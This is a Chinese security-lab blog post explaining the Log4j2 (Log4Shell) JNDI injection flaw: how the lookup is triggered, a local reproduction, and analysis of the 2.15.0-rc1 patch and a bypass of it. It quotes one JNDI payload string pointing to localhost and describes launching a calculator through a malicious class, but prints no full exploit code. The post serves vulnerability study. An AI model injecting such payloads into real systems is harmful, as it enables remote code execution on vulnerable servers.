Log4j2漏洞复现&原理&补丁绕过
2022-9-2 17:2:17 Author: 雷石安全实验室(查看原文) 阅读量:23 收藏

Log4j2漏洞总的来说就是:因为Log4j2默认支持解析ldap/rmi协议(只要打印的日志中包括ldap/rmi协议即可),并会通过名称从ldap服务端其获取对应的Class文件,并使用ClassLoader在本地加载Ldap服务端返回的Class类。

这就为攻击者提供了攻击途径,攻击者可以在界面传入一个包含恶意内容(会提供一个恶意的Class文件)的ldap协议内容

(如:恶意内容${jndi:ldap://localhost:9999/Test}恶意内容),该内容传递到后端被log4j2打印出来,就会触发恶意的Class的加载执行(可执行任意后台指令),从而达到攻击的目的。

这里我一共使用了两个jdk版本

8u202的情况比较特殊

研究了两者的不同,发现唯一不同的就是我司这个idea启的project带有springboot的库。

然后看了一篇文章

明白了其中的原因

还可以参考以往的jndi注入

为了方便本地测试,就把jdk版本降下来了

首先拉一个maven项目,把dependency搞上去

然后直接搞上一个poc

复现很简单 ,触发没有难度,就是个jndi注入

撸一发各家的情报。

360,用的是挂恶意类的方法来做复现,弹个计算器,我也来弹一个吧。

他这里是用的System.setProperty来做的 ,用的是rmi,和网上通用的ldap的poc不同,也是去请求一个外链,协议不同而已,不过通常情况下rmi限制更多。

详细用法可以参考fastjson的利用。

漏洞的最终的触发点在lookup上,然后用lookup去发请求。

然后jndiName是用户可控的,也就是在log中的记录。

因此导致了漏洞产生

这里的绕过指的是绕过

log4j-2.15.0-rc1

这个版本

首先看一看新版和老版的对比

点进去看一下

这里对scheme和host做了白名单校验,如果不在这里面就走return null这段逻辑。

但是,这个白名单都是需要自己配置的,默认是空。那么意思就是说,如果自己不去配置,那就莫得法来绕过,因为是白名单。

再看看怎么修复lookup的 

这里把原来的直接formats解析做了限制,还写了一个withoutLookupOptions方法。

跟一下这个方法看看。

曰死,我们着重看一下这段。

这个判断很有意思,在老版本,这个lookup是默认开启的,那么!过去就是默认不开启,于是注入payload是能够走的通的。

现在新版本lookups是默认不开启的,如果想要开启,需要自己手动去配置。

看,像上面这些configuration和options都是需要手动进行配置的。

也就是说,这个版本基本没啥问题了,那为啥还能绕过呢。

继续比对最新版本和可以被绕过的版本

然后看看log4j家的开发,这个叫做rgoers的小伙子是怎么修复这个漏洞的

进入代码查看

这里是catch一个异常,从字面意思理解就是url的语法异常,原本catch后面是木有写东西的,但是现在加上了两行语句,然后return了null

什么意思呢?

意思就是先利用url语法错误报错然后把条错误语句注入到log里,然后payload解析,然后导致漏洞发生。

原先因为没有加上return null这个语句,所以语句不会被return,然后会接着走下面的代码逻辑,就中套了。

但是现在return之后,就直接跳出去了,就莫得事情了。

但是绕过归绕过,虽然这里绕过了,但是配置那块,指定是绕不过的,除非自己配置就有问题,那就怪不得别人。

根据官方文档来看,log4j2有多种配置文件的方法,并且到了2.15.0-rc1版本,默认配置就是安全的,因为默认没有配置文件,需要自己去创建,因此默认配 置为空,如果自己配置的时候不乱来,就可以了。

往期回顾

01
一个文件上传漏洞靶场
02

一例简单的frida反调试绕过   
03
渗透测试之只有一个登录框

雷石安全实验室

商务咨询:

0571-87031601

商务邮箱:

[email protected]

联系地址:

浙江省杭州市市民街98号尊宝大厦金尊3301


文章来源: http://mp.weixin.qq.com/s?__biz=MzI5MDE0MjQ1NQ==&mid=2247516183&idx=1&sn=a447caa8ace6dfc2432c1c418914bcfe&chksm=ec26a18fdb512899e486cce0a93d6e1cf51fad4519d376ac3f7584118b0ec15feae88bbaab3b#rd
如有侵权请联系:admin#unsafe.sh